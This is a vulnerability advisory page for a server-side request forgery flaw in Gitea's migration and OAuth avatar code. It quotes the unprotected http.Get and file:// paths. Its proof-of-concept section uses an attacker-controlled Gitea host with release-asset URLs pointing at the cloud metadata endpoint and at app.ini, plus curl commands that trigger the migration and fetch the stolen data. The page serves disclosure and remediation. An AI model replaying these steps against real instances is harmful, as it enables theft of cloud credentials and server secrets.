Gitea
CVE-2026-59765
MEDIUM
Severity by source
Network-delivered requiring admin/org-owner privileges (PR:H); scope changes because exploitation pivots to internal systems; confidentiality-only impact via credential and metadata exfiltration.
Estimated by vuln.today — no official severity rating has been published for this CVE yet.
Lifecycle Timeline
2DescriptionCVE.org
Summary
Gitea has robust SSRF protection via hostmatcher.NewDialContext() for webhook and migration clone URLs, which validates resolved IPs at the TCP dial level. However, three code paths use raw http.Get() (Go's DefaultClient) which completely bypasses this protection, enabling SSRF to internal services and local file read via the file:// scheme.
Vulnerable Code
File: modules/uri/uri.go (line 32) -- Core vulnerability
func Open(uriStr string) (io.ReadCloser, error) {
u, err := url.Parse(uriStr)
switch strings.ToLower(u.Scheme) {
case "http", "https":
f, err := http.Get(uriStr) // RAW http.Get -- no hostmatcher filtering
return f.Body, nil
case "file":
return os.Open(u.Path) // LOCAL FILE READ via file:// scheme
}
}Callers in migration path:
services/migrations/gitea_uploader.go:340--uri.Open(*asset.DownloadURL)for release assetsservices/migrations/gitea_uploader.go:586--uri.Open(pr.PatchURL)for PR patches
File: services/migrations/dump.go (lines 312, 453)
// Line 312 -- release asset download
resp, err := http.Get(*asset.DownloadURL)
// Line 453 -- PR patch download (with self-documenting TODO)
resp, err := http.Get(u) // TODO: This probably needs to use the downloaderFile: routers/web/auth/oauth.go (line 306)
func oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) {
resp, err := http.Get(url) // RAW http.Get -- no hostmatcherContrast with protected migration clone (same codebase):
// services/migrations/migrate.go:526 -- PROTECTED with hostmatcher
transport.DialContext = hostmatcher.NewDialContext("migration", allowList, blockList, ...)PoC
# Step 1: Set up attacker Gitea instance with malicious release asset URLs
# Create a repo on evil.gitea.attacker.com with a release asset whose
# download_url points to internal services:
# Asset DownloadURL set to: http://169.254.169.254/latest/meta-data/iam/security-credentials/role
# Or: file:///etc/gitea/app.ini (local file read)
# Step 2: Admin triggers migration from attacker's Gitea instance
curl -s -X POST "https://target-gitea.com/api/v1/repos/migrate" \
-H "Authorization: token ADMIN_API_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "https://evil.gitea.attacker.com/user/repo.git",
"repo_name": "migrated-repo",
"repo_owner": "admin",
"service": "gitea"
}'
# Step 3: During migration, Gitea downloads release assets using unfiltered http.Get()
# Cloud metadata is saved as the release asset attachment in the migrated repo
# Or app.ini contents (with DB credentials, JWT secrets) are saved via file:// scheme
# Step 4: Attacker accesses the migrated repo's release assets to retrieve stolen data
curl -s "https://target-gitea.com/admin/migrated-repo/releases/download/v1.0/stolen-metadata.txt"Impact
- Cloud metadata theft:
169.254.169.254reachable via unfilteredhttp.Get()(AWS IMDSv1 credentials, GCP tokens) - Local file read:
file://scheme inuri.Open()reads/etc/gitea/app.ini(database credentials, JWT signing secrets, SMTP passwords) - Internal service scanning: Reach
127.0.0.1,10.x,172.16-31.x,192.168.xnetworks - Bypasses existing SSRF protection: The
hostmatcherdialer is comprehensive but only applied to webhook and clone transports -- these three paths are unprotected - Migration vectors require migration permission (admin/org owner); OAuth vector requires admin-configured custom OAuth2 source
AnalysisAI
SSRF protection bypass in Gitea versions prior to 1.27.0 allows attackers with admin or org-owner privileges to exfiltrate cloud instance metadata (AWS IMDSv1 credentials, GCP tokens) and read arbitrary local files including the app.ini configuration file containing database credentials, JWT signing secrets, and SMTP passwords. Three distinct code paths in modules/uri/uri.go, services/migrations/dump.go, and routers/web/auth/oauth.go use Go's raw http.DefaultClient instead of the hardened hostmatcher transport that protects webhook and clone operations. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The migration vector requires the attacker to hold admin or org-owner privileges on the target Gitea instance (sufficient to call the /api/v1/repos/migrate endpoint with an admin API token), OR to convince a user who holds such privileges to trigger a migration from an attacker-controlled Gitea source. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | Real-world risk is high for Gitea instances deployed in cloud environments (AWS, GCP, Azure) where IMDSv1 is reachable and where the app.ini file contains production secrets. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker who controls an external Gitea instance creates a repository with release assets whose download_url fields are set to http://169.254.169.254/latest/meta-data/iam/security-credentials/role or file:///etc/gitea/app.ini. An admin on the target Gitea instance triggers a repository migration from that source via the API (using their admin token); during migration, Gitea's gitea_uploader.go calls uri.Open() on the attacker-supplied URLs using raw http.Get() without hostmatcher filtering, and saves the HTTP response body as a release asset attachment in the migrated repository. … |
| Remediation | The vendor-released patch is Gitea 1.27.0, available at https://github.com/go-gitea/gitea/releases/tag/v1.27.0; upgrade immediately, prioritizing instances running in cloud environments with accessible instance metadata services. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r
Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp
The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea
Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec
models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem
An issue was discovered in Gitea through 1.11.5. Rated high severity (CVSS 7.5), this vulnerability is remotely exploita
Missing Authorization in GitHub repository go-gitea/gitea prior to 1.16.4. Rated high severity (CVSS 7.1), this vulnerab
Open Redirect on login in GitHub repository go-gitea/gitea prior to 1.16.5. Rated medium severity (CVSS 6.1), this vulne
Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any
Branch-protection bypass in Gitea's self-hosted Git server (all versions before 1.26.0) allows a user with push access t
Migration transport protections in Gitea are bypassed for Git LFS operations, affecting all self-hosted instances before
Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-2wm4-vwp6-v7xc